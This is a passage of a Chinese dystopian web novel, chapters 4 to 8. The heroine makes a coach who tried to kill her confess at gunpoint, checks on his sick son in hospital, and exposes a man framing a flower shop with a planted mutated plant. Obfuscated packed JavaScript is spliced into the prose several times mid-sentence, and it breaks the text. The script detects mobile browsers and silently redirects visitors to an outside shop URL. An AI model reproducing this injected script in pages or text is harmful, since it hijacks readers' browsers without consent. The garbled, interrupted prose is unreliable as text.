随着这声指令,他的手指梦游一般操纵着光屏,摁停了眼前的大铁块。 叶禾舟收回手,没有理会满脸呆滞的唐教练,一发□□打在他的腿上。 血一瞬溅出老远。 唐教练大声惨叫,一下子摔在地上,捂着血流不止的腿断断续续地求饶:“手下、手下留情,我、我也是迫不得已,杀人是重罪,你不能……因为这个……” □□撕裂了他小腿上的大片皮肉,却没有伤及骨头,但对人体来说已经足够严重了。 这时,电梯的方向传来一声叮响,似乎有人停靠在这里了。唐教练急促道:“不能、不能被发现……是有人要害你!我知道的都告诉你……” 叶禾舟略一迟疑,大步绕到走廊的电梯口,直接堵在门前。 来人是一个黑色卷发的男生,叶禾舟有点印象,对练的时候好像揍过,不久她就升高二阶格斗了,而对方还在高一阶徘徊。 男生看到她,迈出去的脚顿时收了回去,手似乎不知往哪里放了,只好搓着衣角局促道:“你、你要下楼吗?” 叶禾舟顺着他的眼神看见自己衣服上的小片血迹,眉毛一扬,“我包场了。” 男生:“什么?” 叶禾舟:“我在为选拔做准备,不希望有谁打扰我,你找别的教练去吧。” 男生连忙按了别层,缩到电梯角落里去了。 解决完来人,叶禾舟掉头回去,唐教练身后拖了一条血痕,坐在歪扭的门板边,眼神放空地自言自语:“……不一样啊……这扇门,不是高强度……” “我还以为你发现不了呢。”叶禾舟嘲讽道。 本来两个房间的安全等级一样,墙壁门窗的用材也该相同,但在三年前,一个调试员操作不当,让机器人把门砸坏了,只好换了新的。过了不久,训练营的采购因为贪污上了新闻,叶禾舟看到有人来查验,之后对练室的外门换了一扇,但存放机器人的那扇没有变,她私下里去试了试,这才发现这扇门强度不够——虽然锁用得高级。 而唐教练是一年前来的。 叶禾舟从保存柜里取出手环,试了试信号,随后点开录像对准唐教练。 “为什么要我死?” 唐教练抬头看了一眼她手中的枪,知道自己没有别的选择了,表情灰败了不少,开口道:“不是我,我只是帮别人做事。” 叶禾舟表情不变,这个回答不在意料之外:“是谁?” 唐教练:“我不知道,我没有见到人,这段时间我很需要钱……前几天,网上突然有人加我,问我愿不愿意接一个单,成事以后汇款三百万。我收了一百万定金,然后……然后我就答应了。” 叶禾舟把枪往他脑门上一顶,“调出来。” 唐教练急切道:“他把痕迹抹掉了,汇款是用无记名卡,我查不到,也不敢查。” 叶禾舟冷笑:“好老套的故事,如果你不介意,我可以让故事现在就用血溅五步来结局。” 唐教练被吓得举起双手,“他想让你参加不了选拔!他、他说……生死不计,只要能阻止你参赛,我、我本来只是想让你受点伤……” 但他控制机器人的那番操作,可不像是让人受“点”伤。 叶禾舟再没耐心跟他周旋,忽然关掉录像,上前一步,“可是我觉得,放你走更危险。” 唐教练吓了一跳,在枪口把脑门顶在地上时,终于像倒豆子一样把前因后果和所有事情全说了。 “对不起!对不起我不该这样!我就不该被他迷惑,陷害自己的学员!当时的内容是语音聊的,记录被他删掉了,但我把声音录下来了,放在家里的衣柜里……我回去就给你!我、我……我觉得那边是合成声音,可能对找人没什么用处,但是你可以拿去当证据,还有卡上的流水也是……我知道、知道自己犯了罪,但是能不能晚一点去举报,赃款会被没收,但是我儿子……我儿子还在病床上……” 叶禾舟嗤笑一声,“为了救你儿子,所以需要献祭点别人的命?” “对不起!我错了!我可以给你作证!我没有说谎!” 叶禾舟盯了他一会儿,略微移开了枪口,“你儿子在哪个医院,哪间病房?你怎么证明?” 唐教练哆哆嗦嗦地从手环中调出几张照片,“……康治医院住院部304,你可以去确认……他病得很严重……” 病床上躺着一个人,盖着白色的被子,勾勒出来的轮廓笔直僵硬,像一个裹好的木乃伊,从枕头顶支棱出几缕姜黄色的头发,床头写着姓名:重疾科,唐安。 唐教练满眼恳求,“做父母的什么都愿意为孩子做,我愿意为我儿子付出一切,就像、就像你母亲一样……” 最后一句话像是一记重锤,把叶禾舟的心情搅得乱七八糟,怒火闷闷地燃烧,握枪的手背上,青筋因用力而暴起,叶禾舟像是要当场把人五马分尸,片刻后却一下子放下枪,用沉而冷的声音令道:“三天。” 唐教练趴在地上狼狈地应好。 叶禾舟补充道:“回去就把录音发过来,不然没有明天。” 经此一事,叶禾舟也没兴趣继续在这里对练了,她仔仔细细拍了一遍现场,甚至逼着唐教练重新演示了一遍机器人的行为等级,口述了一遍犯罪动机和过程。 唐教练说他用程序覆盖了监控,再等十多分钟就要恢复,希望能清理了场地再走,叶禾舟拒绝了,一个电话把人送去医院,免得他失血死了,也不想让他破坏现场。 至于解释,那是他自己的事。 * 回去的路上,叶禾舟活动着淤青的肩膀,感受到了阵阵刺痛。她知道自己不该同意延期三天结算的荒唐请求,但人生中第一次遇到这等离谱的事。 三百万,就为了一个比赛资 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶禾舟没想到还有这种好事,连忙踮起脚尖,轻巧地跨进走廊,找到304开门关门一气呵成。 她得来验一验这个唐安是不是唐教练的儿子。 房间里有两张病床,其中一张是空的,靠门的床上躺着一个人,被子盖住了半张脸,头发又遮住了半张脸,一动不动,不知道还有没有气,只有旁边的输液袋一点一滴,似乎在为他的生命计时。 床头柜上摆着几个干瘪的水果,像是贡品,病房里的气味比走廊更重,叶禾舟抽了抽鼻子,决定速战速决。 她一眼就看到了床头的铁牌,上面写的是患者的名字,但若病人不能自理,监护人的号码应该也不会放得太远。 她打开床头柜,找到一叠文件,正要查看时,医生的脚步忽然来到门外了。 叶禾舟身形一滞——前面明明还有两间病房! 没想到医生不是按照房间顺序检查,叶禾舟第一时间就像躲进厕所,但刚打开门,里面冲天而来的排泄物气味就涌了出来,她被熏了个趔趄,头昏眼花地转了个圈跌回座位上。 这时,门开了。 5. 第五章 “里面的患者病因不明,虽然没有传染性,也没有异能反应,但进门还是得带口罩手套,你注意点,重症科有好几个……” 医生正和护士说着话,忽然看到房间里陌生人,脚步一顿,明显有些吃惊。 “你……” 叶禾舟从旁边拿了一个皱巴巴的苹果,用随身的小刀削着,被开门声惊动,看向门口的两人,“您就是唐安的主治医生吗?他的情况怎么样?昨天唐叔叔还说工作太忙,让我过来照看一下……您先检查。” 她说着让出了位置。 医生被抢了话,一时忘记刚才想说什么,只能点点头走到病床前,让旁边的助手拿仪器来测量指标。 掀开被子的时候,医生想起什么,提醒道:“下次来的时候记得带口罩,还有,别在病房削水果,小心手。” 床上露出一只鸡爪般枯瘦的手臂,颜色是不正常的褐黄色,皮肤上布满了黑色的斑块,丑陋至极,看上去比许多畸形的异变者还可怕。 唐安对这些不速之客般进门的人没有丝毫反应,但在检查的时候,藏在乱发之下的眼睛转动了一下,似乎在看他们。 叶禾舟察觉到停留在自己身上的目光,眉头一跳,害怕身份被戳穿。过了一会儿,病人已经扭头向窗外,没有理会人的表现,她的胆子又出来了,向医生询问道:“唐安得的是什么病?” 医生起先不想回答,但对方一直看着自己,他不得不给出一个解释:“……近年来多种疾病在医学上并未命名。” 叶禾舟:“他是怎么了?唐叔叔每天唉声叹气的,这病能治好吗?” 医生觉得这个家属有点话多,“不明的病症多了去了,外面变异生物那么多,人类自身也受其影响,产生各种新的症状,能被研究透彻的寥寥无几,医学只是一种挽救措施,比起治病,还是预防更有效果……下次不带口罩别进门。” “……知道了。”叶禾舟看见护士从随身推车上拿出一个瓶盖大小的方块,抬起唐安的食指往上面按了一下,随后用棉片擦了擦指尖的血,将方块放到一个黑色仪器中,不由伸长脖子,观察起上面的显示屏。 然而等了好几分钟,显示屏上都只有一个进度条。 医生有点受不了这个“家属”的好奇心,任务完成之后立刻就想离开,扭头训斥护士道:“磨磨蹭蹭的干什么呢!采了血样就可以了,你还想在这里等着开花结果?去下一间,今天的任务重,别浪费时间!” 护士:“……” 她闷声闷气地说了一句“好”,在医生背过身之后翻了个白眼。 叶禾舟一脸不舍地目送两人出门,随后迅速垮了脸色,拿出抽屉里的文件继续看了起来。 本来只想查联系人的号码,但看见病人这个模样,她忍不住留意了几眼病情的记录。 ……细胞老化? 她抬眼看了一下重新裹进被子里的人,在心里点了点头,这个症状,确实相差不离。 ……前90天,病人细胞寿命下降30%,随后病情加重,在30天之内细胞寿命下降35%。 叶禾舟吃了一惊,寿命下降了百分之六十五?那他现在还能活多久?连医生都说不出这个病该怎么命名,唐教练想要那几百万,就能肯定救得了他儿子的命? 难道她被骗了?唐教练不是为了医治家人,只是想求财? 片刻后,她找到联系人电话,播了出去。 号码是陌生的,但接起来的声音属于唐教练无疑,叶禾舟戴上耳机,走到窗台边,低低道:“我在304。” 唐教练一下子就慌了,“你在那里干什么?想对我儿子做什么?他是无辜的!你放过他!” 叶禾舟轻声安抚,“我只是来看看,你既然接下那单,是知道怎么给他治病吗?” “你要做什么?我求求你不要动我儿子!” 那头的声音又慌又急,不像是演的,叶禾舟不得不威逼利诱地说了一些话让他平静,这才又问了一遍自己的问题:“你知道怎么治这个病?” “治病的话……其实我不太清楚,但我知道有效的药剂——是那个人寄来的,用了之后我儿子的病情缓和了一段时间。” 叶禾舟翻了翻医疗记录,果然看见一周前,唐安的细胞检测结果比上回好,不过,大约五天之后,指标又变成了先前的水准。 “他说他可以源源不断地提供药剂,但是要在做成了之后才给,所以、所以……”唐教练说不下去了。 所以就决定牺牲她了。 叶禾舟没有出言讥讽,只是淡淡地“嗯”了一声,继续问下一个问题:“那你知道是什么让他变成这样的吗?” “突然一下就这样了,我平时回家的时间少,发现的时候已经……” “好的,我了解了。”叶禾舟回头看了一眼病床,总觉得这个不说话的病人似乎竖起耳朵在偷听,但这些对话不算机密,因此她也没有换位置,“关于后天的考试,你有什么要和我说的吗?” 唐教练不知道她的意思,傻傻地回了一句:“那个,考试加油,你一定可以上岸?”顿了一小会儿,忽然在对方的沉默中反应过来。 “你是问……”唐教练的声音消失了片刻,随后环境音安静了许多,他低声道,“虽然我是从中域来的,但对于考试了解得不多,听说考题每年都不一样,全看对面想要什么样的人才,我只知道一点——能决定打分的主考官,一定是从中域来的人。” 叶禾舟又问了一些问题,随后让唐教练记得今晚的承诺,便挂断了电话。期间,唐安一直没有吭过声,她也当房间里只有空气。 在她出门的时候,一个干哑的声音从床上飘来。 “爸爸是不是出事了?” 叶禾舟开门的手停了一下,背对着他点了点头,“他违法犯罪,过几天就要被抓走了。” “我举报的。” 说完,她便出了门。 * 离开医院之后,好友的回复终于发过来了。 良邵:“你现在在哪里?训练营?我马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407475|200598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上过来了。” 良邵:“不好意思刚才和爸妈聚餐去了,考完试他们来接的我,庆祝一下毕业。” 良邵:“这次我发挥得好,以前总是搞不懂《艺术鉴赏与审美思想》这门课,但这次居然考了A-,没想到题比平时出得简单,运气简直太好了!” 叶禾舟揉了揉额头,不知道为什么心里有点泛酸——要是母亲也来接送自己,和自己一起庆祝一下值得纪念的日子就好了。 但是人无完人,母亲已经给了充足的支持,她的表达更多在物质而不是情感,自己也完全能够理解。 已经得到了行动的爱,就不要得寸进尺,再去苛求表达上的爱了。 叶禾舟回了好友一串鲜花和礼炮,然后告诉她自己已经打了卡,已经在回去的路上了。 ——反正今天不可能再去犯罪现场回味的,身上的淤青也要冰敷一下。 好友的语气挺失望:“还说等下和你对练一下的,算了,你忙你的,我找机器人练。” 叶禾舟回她:“好。” 良邵也报名参加了这回选拔,但目的不是为了进中域,而是想在里面好好表现一下,得一个高的评分类似于拿到奖项,是有找工作优势的。外域的体面工作就那么一点,而每年却有那么多毕业生。 叶禾舟每天晚上要去训练营补习,是没什么时间社交玩乐的,因此总是独来独往,还被看不惯的人堵过暗巷——结果是她将人揍得落花流水不说,但自此也总是被谣言中伤,更加没人肯接近了。 但说实话,叶禾舟天生对“合群”没什么概念,也对此没有任何追求,与“他人”同处一室时总让她身心警觉,不止身体无法放松,脑袋里更像是装了一台滴答作响的倒计时,到点了就会爆炸似的,自然没什么安稳可言。 “他人即地狱”是叶禾舟觉得最准确写实的话。 在家境优渥的同学间,她像是来自蛮荒时代的一头野兽,不能明着招惹,但来自文明时代的逗弄必不可少。 当孤独压抑无法宣泄时,叶禾舟曾尝试逃学,而结局是一记响彻天际的耳光,和一连三日的禁闭。 被锁于狭窄的储物间时,她一次也没想过砸开门锁,只是一遍又一遍地回想着母亲愤怒又惊惶的面容,心中既愧疚又恐惧。自己辜负了母亲一直以来的付出,那么母亲会收回她的爱吗? 或许是缺乏交友系统的支持,她对唯一亲人的爱分外执着,也因此像雾里看花一样,总是患得患失,无尽惶恐。 以至于今天她在看到病床上那具丑陋的身体时,第一时间升起的情感竟然是羡慕,唐教练对他的爱是如此一目了然,不顾一切。 但母亲不需要证明她的爱,叶禾舟也愿意为了她奋不顾身。 与母亲同处一个屋檐下十余年,即使没有互诉过情感,叶禾舟也能感受到,母亲非常看重自己的前途,她一直——都期待着考核日的到来。 所以,叶禾舟即使已经成了变异者,也要装成自己不是,一路过关斩将,直到母亲期盼的尽头。 6. 第六章 回城郊没有轻轨,只能坐公交,叶禾舟正要刷手环,忽然想起什么,抬头看了一眼又扭头退下车。 司机吼道:“还走不走?” 叶禾舟摆了摆手,引擎“呜”地一声,让她吃了一鼻子尾气。 一到城郊,路人的素质就和市中心不同了,仿佛是两个不同世界的公民,最开始叶禾舟还有些落差感,但自从发现街头尾随自己的混混可以随便揍,极少有执法机器人来的时候,她就顺畅无比地接受了这里的剽悍民风。 刚搬过来的时候,总有人往家门口丢垃圾,在门口乱涂乱画,一天母亲给她指了几个人,让她去警告一下,不用太过留手。叶禾舟响应得积极又兴奋,因为这件事她能轻松完成,又能得到夸奖——况且她自己也隐约地喜欢这样直接而血腥的方式。 那几个朝她家丢垃圾的人是附近的异变者,他们不知从哪里听说了母亲的工作,在嗷嗷挨揍的时候,口里还叫唤着“联邦走狗”、“税金小偷”几个词,扭动着畸形的身体说要给她娘俩一点颜色看看。 叶禾舟脑子一热,把他们打到全身骨折。 等到冷静一些之后,她往自己身上揍了几拳,预备着执法机器人过来,双方都有伤,她就可以狡辩是互殴,而他们有错在先——自家门口的监控已经拍下了他们作案的过程。 路过的人听见小巷里的斗殴声全部绕道而行,体现了外城区明哲保身的良好素养。而她等了很久,也没见一个执法机器人过来。 直到最后,她也不知道究竟是他们没有报案,还是报案之后也没有人理会。 救护车叫一次好几万,她没有这个钱,只能把他们拖到附近的小诊所,几个异能者恰好在里面包扎,认出了浑身是血的小混混。 他们是被揍小混混父母的队友,而小混混的家人在外出猎荒兽时没了。他们以为她是热心路人,一直向她道谢。 叶禾舟不想被误会,告诉他们:“人是我打的。” 本来以为又要斗一场,然而两个异能者没有对她动手,也没有要她身上的钱,甚至十分忍让地代替小混混道了歉,说以后会管束好他们,只求下次她看见人了不要动手。 过去她生活在内城,即使与人争执,也下意识思考行动的后果,让自己处在占理的一方,没想到在面对异变者的时候,任何法律上的普通人都是高地。 叶禾舟也是从这时开始,下定决心不让任何人知道自己的身份。 变异者一般不在城区住,他们的副产物异变者自然也出没于外城,隐匿在错综肮脏的巷道里,像是阴沟里的老鼠,敌意而又恐惧地窥视着每一个路过的行人。 在叶禾舟成为变异者之后,常常在半夜惊醒,梦见自己生出一堆怪物,它们裹在肉红的、绵软的身躯中,从门缝、窗户,还有通风管探出狰狞的触手,捕捉每一个触碰到的人类,将他们撕成肉糜,然后睁开浑浊的眼睛,模仿人类的语调叫她“妈妈”。 那段时间,母亲总责怪她偷点不干净的外卖,因为她总是在半夜呕吐。 异能者的后代总会出现异变者。 不是百分百的概率,但这个概率不会随着代际增加而消失,像是刻进血脉里的诅咒一般永远存在。即使父母、祖父母都是普通人,但只要先辈出过一个异能者,后辈就永远有变异的可能。 而异变者的后代没有正常人,他们就从这里,从正常的人群中分化出去了。 因此,联邦的伦理与几十年前大不相同,现在已经不禁止胎儿的基因编辑了,也允许人们使用人造培养箱来代替子宫孕育生命——只有这样,才能同时培育多个子代,淘汰劣等基因和异变人,优中择优,最终进化出新人类。 但基因编辑和人造培养箱都是些昂贵的玩意儿,普通人只能捡捡从上面漏下来的、落后的技术,改动几个易使人患癌症的基因,或者使用一些条件不足的培养箱——而这些几十万元的耗材会让后代的细胞寿命缩短十几二十年。 但这些事情从来不是问题,毕竟,自然出生的人也活不到理论寿命啊! 看基因,大部分人活到一百岁没有问题,但外域的人均寿命只有六十多,恰好是他们退休的年纪。 叶禾舟走出一段路,忽然发现自己在走神,她揉了揉额头,不知道自己为什么总是回忆起过去,是因为今天的考试象征着某种结束吗? 每辆公共交通的门框上都有异能者检测装置,如果手环里没有登记编号就会报警,而这回,她依旧蒙混过关,仿佛让所有的装置失灵。 叶禾舟知道自己的特别,但她依旧胆战心惊,每时每刻都生活在被发现的恐惧中,因为她不知道这份特别是怎么回事,也不知道它是如何降临在自己身上的。 为了庆祝毕业,也为了安抚自己,她决定去买一束鲜花。 如果她做好了一件事,母亲会称赞她,会买一副新拳套或是高级护肘给她,但像鲜花这样华而不实、转瞬凋零的东西,从不会出现在母亲的选项中。 可叶禾舟喜欢这类东西。 在很多年前,在她的同桌还没有转校的时候,会给她带一支从清晨的花园里摘下来的,带露水的蔷薇。 直到花季过去,他也杳无音讯。 到现在,大概……十年了吧? 叶禾舟记忆里的模样已经模糊了,但他尖削的下颌、月白的侧脸,还如同剪影一般倒映在脑海。 “欢迎光临……啊,是小舟,快进来坐!” 一掀开门帘,窗口挂的风铃就开始叮当地响,馥雅的花香和青涩的叶气仿佛一阵初春的晚风,刹那卷去了来客的疲劳。 店里已经看不见鲜花了,只有高高矮矮的绿植盆栽靠墙边而立,货架上是一盆盆清水,水面飘着凋落的叶片,一个长发女人坐在收银台后,手指在扫地机器人的按钮上动作,随后,她把机器放在地上任其滑走,抬头时露出了占据半张脸的黑色机械,嘴角勾出一个温婉的弧度。 听良邵说,她妈妈原本是中域一家公司的人工智能神经交互调试员,工资很高,因此她爸爸这个废物在家里当全职老公,带孩子做饭等等。但有一次,新入职的员工把神经机械线路接错了,电流过载,损毁了她妈妈的视力。 因为是人祸,公司不担责,还把她妈妈辞退了,但那个员工也赔不起钱,家里还有几口人要养,怕被追债,从她家对面的摩天楼上跳下去自杀了。 媒体大肆报道了这件事,把那个员工形容成一个悲剧的苦命人,她们家一下子变成了网络讨伐的对象,她爸爸每次眼看着要找到工作,却都被对面用合理的理由拒绝,家里逐渐负担不起妈妈继续治疗的费用,最后不得不把房子卖掉。 但在中域没房又没工作,是会被清理出去的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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叶禾舟熟门熟路地扯了张椅子坐着,没几分钟,店里就来了几波人。 多数人进门没看到鲜花就走了,少数会看一看盆栽,但显然不想买,养养眼也就离开了,等到人群散去,店里只留下一个二三十来岁的男人,东摸摸,西瞅瞅,转了几圈,就是不走。 叶禾舟虽然一副低头刷手环的模样,但一直暗自留意着。 他不是来买花的客人。 叶禾舟在外城区生活久了,一眼就能看出哪些人属于游手好闲、不务正业类,而这类人偷个东西都不能说偷,只能说是习惯使然。 店里有监控,但丢一盆植物构不成报案条件,东西追不回来,叶禾舟的视线跟着他在店里来回,准备等下抓个现行。 这个男人穿着一条破洞牛仔裤,上身是款肥大的冲锋衣,上面眼花缭乱地拼着几个荧光绿、炫酷紫以及魅惑蓝的字母——外城区的街头青年喜欢这样穿,可能是觉得视觉效果越让人头昏越时髦。 叶禾舟越看越觉得这人肥大的上衣易于存放赃物,他已经在同一个位置站了两分钟了!她关掉手环显示屏,起身悄无声息地绕到他身后,刚要伸长脖子去看他的动作,对方却忽然转过身来。 乍然看见面前多了个人,冲锋衣面色大变,随后勃然大怒:“你走路怎么没声音,什么素质?我要找你老板!老板在吗!” 叶禾舟:“?”走路没声音就是没素质,这人什么逻辑? 不过她可没有被唬住,用雪亮的目光坚持完成了自己此行的目的——他全身上下别的地方没藏东西,但肚子那块是凸起来的,她有些拿不准这面究竟是赃物还是肥肉,但绝不可能用手试探,便往旁边的盆栽上瞄了一眼。 没有缺漏。 7. 第七章 叶禾舟也不纠缠,拉开距离道:“小声点,我也是来买东西的。” 冲锋衣嗓音一掐,像是被堵了嘴,对于同为顾客的陌生人,他绞了半天脑汁也没想出用什么理由压人,只好恨恨地喷出一口气,把头扭向一边。 程茜很快回来了,身后跟着抱花的丈夫,两人刚把手上东西放下,冲锋衣就迫不及待地嚷了起来:“店主来了?等你好久了!” 或许是因为脸上的视力辅助仪器太突兀,冲锋衣说这句话的时候看的是程茜,良环简一听这话就沉了脸色,伸出手臂把妻子往身后挡了挡,挺身问道:“什么事?找我是一样的。” 冲锋衣疑惑地扫了他一眼,但也不纠结谁是店主这种是,张口直接放下王炸:“你们的植物变异了,把人感染了知道吗?” 良环简起了一脊背冷汗,要说他们开这个花店会遇到哪些棘手的事,同行竞争还是其次,植物变异算是最要命的一个,遇到了不光会要他们自己的命,要是卖出去以后害了顾客,那就足以让后半生陷入牢狱之中了。 但他遇到的客人多了,因而语调还是平稳的,“确定吗?我们店卖出的花束都有三维立体照片和编号,客人买的是哪一束,变异检测报告带了吗?这毕竟是一项严重的指控,需要到专业机构确认立体图片是否能对应得上。” “你们的东西害了人,还要受害者跑东跑西花钱检测?有没有天理了?”冲锋衣嗓门很大,门口早已堵了一圈人,他似乎要的也是这个效果,唾沫横飞地继续,“我怎么可能当场就知道那盆草有问题?植物是我朋友的,我被划伤了手指,他没有被划,养死之后就丢了,我发烧了几天,觉醒了异能才知道是那东西整的,你说要怎么测?难道我就活该吃了这个哑巴亏吗?” 良环简耐着性子道:“客人能不能找到那盆植物呢?就算死亡了也没关系,仍然可以测出来有没有变异,指控毕竟是需要证据的。” “证据?”冲锋衣脖子一仰,用鼻孔看着比自己高一个头的男人,“你们店里敢说没有一棵变异植物?” 良环简:“没有,我们做这一行的可以说最注重这个方面了,所有的植物在上架前都会检测。” “架上的这些盆栽可是一直都放在这里的,不止一天了吧?不知道变异是突发的吗?”冲锋衣环顾一圈,“你敢说店里一盆变异的都没有?” 良环简耐心耗尽,“你想怎么样?” 冲锋衣冲他嘿嘿一笑,搓了搓手指,“我倒也不是那种胡搅蛮缠的人,只要你们在网上道个歉,赔偿我余下工龄赚的钱……” 程茜把叶禾舟拉到一边,正劝她先走,闻言神色一冷,回头道:“那就检测,看看我们店里有没有变异植物。你既然提出这个方案,想必是有所准备了?” 冲锋衣向门外招了招手,登时一个贼眉鼠眼的小弟挤开人群,捧着手持安检棒递上前。大概是从没有在这么多观众面前表现自己,冲锋衣还有一点羞涩,手掌向上平摊,非要小弟把安检棒恭恭敬敬地放在手心。 小弟两个形状不一的眼睛里翻出两小片白,嘴巴向下撇了一下,歪斜得更厉害了,他就用这副表情老老实实地递了第二次。 刚送出去,手上一空,安检棒被旁边的人截了。 冲锋衣:“哎,你!” 程茜三两下拆开安检棒,拔出里面的内芯看了看,冷笑一声,直接用手环投影到空中放大,对围观的人说道:“大家都知道,每个检测异能或是变异的安检棒都有一个内芯,输入编号可以上网查询真伪,但内芯价格昂贵,还有使用次数限制,所以很多不法商家或者个人会收集用废的内芯,往里面注入其他成分冒充真品,这种内芯会随机且无差别地警报,一开始使用还真让人看不出来。鉴别的方法有很多,这里就用最简单的一种,照光,我这里有光度计,马上就可以拿出来……” 冲锋衣一把抢过内芯,“你不愿意用,我还不愿意给了呢!” 围观者发出阵阵嘘声。 程茜再接再厉,“我这里刚到了一盒内芯,还没拆封,正好借这个机会给各位演示一遍,让大家放心。” 她从抽屉里拿出一个白色方盒,借助投影拍了个拆箱视频,还把购买截图放上来了——店铺就是品牌家的旗舰店,收货日期就在今天,基本上不可能有假了。 有人看不惯冲锋衣的做派,呛他:“你看看人家老板再看看你,什么证据都拿不出来还敢来挑事?等着,我马上报警告你寻衅滋事!” 冲锋衣梗着脖子一声不吭。 他这样等着,难道是想当场被打脸? 叶禾舟可不觉得这种货色有穿帮了道歉认错的骨气。 程茜将新拆封的芯片换上,“唰”地往冲锋衣面上一晃,“滴滴滴滴滴”的警报从中炸响,又往那个小弟面前一晃,这回安检棒安静如鸡,唯有绿灯亮起。 民用道具没有接入官方数据库,因此只能分辨是不是变异生物,没办法比对手环里的登记号码,所以也会对异能者响应。 但用检查货物的办法检查人,还是让冲锋衣黑了脸色。 良环简也不看他,只是从妻子手中接过安检棒,对人群道:“大家看好了,我们店每天都会检查一次,不可能出现植株变异的问题。” 他开始扫描货架上的盆栽。 一列。 两列。 因为不想围着房间转圈圈,良环简从门口开始,按照上下顺序扫描货架。 叶禾舟的目光在冲锋衣身上打转,不知道为什么,她觉得这人是在等一个时机。 忽然,他的表情有了细微变化。 叶禾舟没有放过这一瞬的异常,但冲锋衣没有动作,她扭过头,只见良邵的父亲站在冲锋衣先前停留了很久的位置,正把安检棒往架子上那排盆栽上凑。 “滴滴滴滴滴,滴滴滴滴滴!” 围观者一片哗然。 “什么?真有变异植物?” “花店怎么会出这种事?” “天啊,我还在这里买过花,等回去……” “以后别在路边……还是超市的更……” “怎么可能!我们每天都测过……”程茜不可置信道。 冲锋衣满脸兴奋,正要发表获胜感言,却被一把推了个趔趄。叶禾舟衣角带风,三两步跨过去,气势汹汹地抱起了触动警报的绿植。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407477|200598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这盆被动过。” 良环简忙问:“什么意思?” 叶禾舟拨开叶片往土里看了一眼,程茜惊呼:“别动,小心手!那是变异的!” “叶子上又没刺。”叶禾舟不在乎,毕竟她已经是变异者了,难道还能二次中招不成?她扯了张椅子过来,把盆栽往上面一放,看向冲锋衣道,“是我来说,还是你自己坦白?” 冲锋衣像是听到什么好笑的事,指着自己的塌鼻子反问:“我?坦白?” 叶禾舟:“是的,变异的那棵是你带到店里栽进去的,旁边的土还是松的。如果我们运气好,还可以从你衣服或者兜里找到点落叶碎枝,你敢自证吗?还有……” 她转向围观者,“要看监控吗?” 原来冲锋衣之前不是想偷东西,而是在放东西,他将一棵变异植株带进来,插进花盆中,想借此栽赃花店。 良环简调出监控,视频中,冲锋衣面对着花架,背对着摄像头,久久不挪动,人们看不清他手中的动作,但这个行为确实惹人怀疑。 可惜的是,受限于视频的像素,没办法清晰地对比盆栽的前后变化。 看到这里,有些人信了,有些人不信。 人群大声争论,不时投来审视的目光。 叶禾舟拿起花盆,倒过来晃了晃,碎土簌簌而落。 有人不解地问道:“你在做什么?” 叶禾舟不回答,只是加大力气继续摇晃,十几秒过后,盆里“啪”一下掉出条带根的小枝。 她指着这条小枝道:“这就是他新栽进去的,这么短的时间,根系没有和土壤固定,所以会第一个掉下来。” 拿过安检棒往枝条上一凑,“滴滴滴”的警报果然又响了。这回再验带着花盆的植株,终于变成了绿灯。 * “不是我说,你刚才真的太帅了!帅爆了好吗?我回来就把监控拷贝下来,每天看一遍,温习我舟的英姿……” 叶禾舟刚喝了一口花茶,闻言差点喷出来,飞快地瞥了一眼旁边含笑看过来的长辈,打断好友的吹捧,“你今天不是打算训练三个小时吗?别耽搁晚了,等下回来天都黑了。” “不练了不练了!出了这档子事谁还有心情啊,我马上就回来!”投影里的良邵已经在卸身上的装备了,“让今天那孙子给我等着,别让我查到他的黑料,不然就等着吃牢饭吧!” “他已经在吃牢饭了,估计得拘留个好几天。”叶禾舟无奈道,“但是要定罪不容易,以后还是多防范点吧,外城区这种家伙很多。” 挂掉通讯之后,叶禾舟放下茶杯,“谢谢阿姨和叔叔的招待,我晚上还要早点回去,就先不打扰了。” 走之前,程茜夫妇俩给叶禾舟送了一大堆东西,拒绝无效,她只得带上一手提袋花茶,抱着捧鲜花坐上回程的公交。 花茶是好东西,连蔬果都昂贵的世道,这种东西只能是中产以上的奢侈品,叶禾舟在小时候见母亲喝过一段时间,后来她所有的工资都砸向训练营,家里就再也没出现过昂贵的非必需品了。 如今自己已经毕业,训练营也只去最后几天,以后家里的情况一定会慢慢好起来的。 8. 第八章 叶禾舟到家的时候,母亲还没回来,一年中她总有三百六十五天忙于工作,叶禾舟不是随时都需要人陪伴的宝宝,对此既没有感到不适,也没有任何怨言,相反,她十分理解母亲看重的方向,毕竟只有在外部世界立足,才有能力安放自己的家人。 她只是可惜母亲因为高效与竞争不得不舍弃的柔情。 何况再自欺欺人,她也不得不承认,比起与女儿扮演温情,母亲更喜欢坐在她的实验室里,而叶禾舟自己也是一样。 她无法放松地享受与母亲同处一室的时光,即使面对最亲的亲人,她脑中的弦依然是紧绷的。 